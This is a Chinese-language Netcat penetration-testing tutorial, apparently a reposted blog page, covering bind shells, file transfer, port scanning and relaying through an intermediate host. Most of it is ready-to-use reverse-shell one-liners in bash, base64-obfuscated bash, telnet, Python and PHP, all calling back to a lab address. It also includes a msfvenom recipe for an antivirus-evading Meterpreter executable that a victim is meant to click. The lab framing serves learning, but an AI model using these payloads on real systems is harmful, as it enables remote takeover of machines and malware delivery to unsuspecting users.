赞
踩
Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士军刀”之称。它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能。总之功能强大,可以用一句较为风趣的话来描述NC的强大——“你的想象力是局限NC的瓶颈”。
-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;
-L 使用监听模式,客户端失去连接,服务器依然保持监听(低版本没有)
-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p <通信端口> 设置本地主机使用的通信端口;
-r 乱数指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;隐藏自己
-u 使用UDP传输协议;
-v 显示指令执行过程;
-w <超时秒数> 设置等待连线的时间;
-z 使用0输入\输出模式,只在扫描通信端口时使用。
-d nc命令在后台执行(退出cmd窗口仍在执行,nc1.11以上版本才有)
-e 执行某个程序,常用于后门建立(有的版本为了安全删除这个选项)
nc -l -p port
nc target_ip target_port -w3
-w3设置等待连线的时间3s,防止未连接上服务器的“假死”现象
服务器
nc -l -p port -e cmd.exe #被连接上会返回一个shell
客户端
nc target_ip target_port
服务器
nc -l -p 4444
客户端
我这里使用nc连接不上服务器,要用nc64
nc64 target_ip target_port -e cmd.exe
nc -l -p 4444 -e \bin\bash
nc tarip tarport -e \bin\bash
chcp 65001
服务器
nc -l -p localport > outfile
客户端
nc target_ip target_port < infile
服务器
nc -l -p localport < infile
客户端
nc target_ip target_port > outfile
扫描指定主机的某个端口段的端口开放信息
-z 使用0输入\输出模式,只在扫描通信端口时使用。
-n不对目标机器进行DNS解析
-w <超时秒数> 设置等待连线的时间
nc -vv -n -z -w2 Target_IP Target_Port_Start - Target_Port_End
扫描指定主机的某个UDP端口段,并且返回端口信息
nc -vv -n -z -u Target_IP Target_Port_Start - Target_Port_End
echo "" | nc -vv -n -w1 target_ip Target_Port_Start - Target_Port_End
有时候外网直接访问不到内网主机,这时要借助一台介于外网与内网之间的主机,进行访问
实验环境
kali 192.168.31.80 (外网)
windows 192.168.31.242(外网)192.168.208.1 (内网)
ubuntu 192.168.208.132(内网)
kaliping不通ubuntu
windows可以ping通ubuntu
ubuntu开启端口监听
kali尝试连接
连接失败
ubuntu开启4444端口监听
windows创建一个relay.bat文件
这里我在e盘下创建了一个relay.bat,内容如下
然后开启4445端口监听
kali连接windows4445端口
ubuntu收到kali发来的信息
这样就完成了一次端口转发
ubuntu
windows
kali
连接上windows的shell之后,再使用nc连接内网的ubuntu
ubuntu接受到kali信息
攻击者只需要监听本地端口,控制其他主机连接自己即可
bash -i >& \dev\tcp\[ip\port 0>&1
命令含义
https:\blog.csdn.net\weixin_43486390\article\details\111385962
举例
windows 开启4444端口监听
nc -lvp 4444
kali
bash -i >& \dev\tcp\192.168.31.242\4444 0>&1
报错,因为zsh不能识别该命令,我们要先使用bash,再输入此命令
exec 5<>\dev\tcp\192.168.31.242\4444;cat <&5 | while read line; do $line 2>&5 >&5;done
exec \bin\sh 0<\dev\tcp\192.168.31.242\4444 1>&0 2>&0
kali
nc 192.168.31.242 4444| \bin\bash |nc 192.168.31.242 4445
windows
开启两个端口的监听(4444,4445)
在4444端口输入的命令,4445端口输出在屏幕上
正常
bas8h -i >& \dev\tcp\192.168.31.242\4444 0>&1
base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjI0Mi80NDQ0IDA+JjE=
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjI0Mi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
telnet 192.168.31.242 4444 | \bin\bash | telnet 192.168.31.242 4445
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.242",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["\bin\bash","-i"]);'
php -r '$sock=fsockopen("192.168.31.242",4444);exec("\bin\bash -i <&3 >&3 2>&3");'
nc … -e cmd.exe
kali
# 制作反弹shell
msfvenom -p windows\meterpreter\reverse_tcp -e x86\shikata_ga_nai -i 5 LHOST=myip LPORT=4444 -f exe > \tmp\muma1.exe
# 监听本地端口
use exploit\multi\handler
set payload windows\meterpreter\reverse_tcp
set lhost xxx
run
-e –encoder [encoder] 指定需要使用的encoder(编码器)
-f –format < format> 指定输出格式
x86\shikata_ga_nai 我们所选择的编码格式(用于免杀)
-i 5 –iterations < count> 指定payload的编码次数为5次(次数越多免杀的概率越大)
受害者
点击muma1.exe文件
攻击者得到反弹shell
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。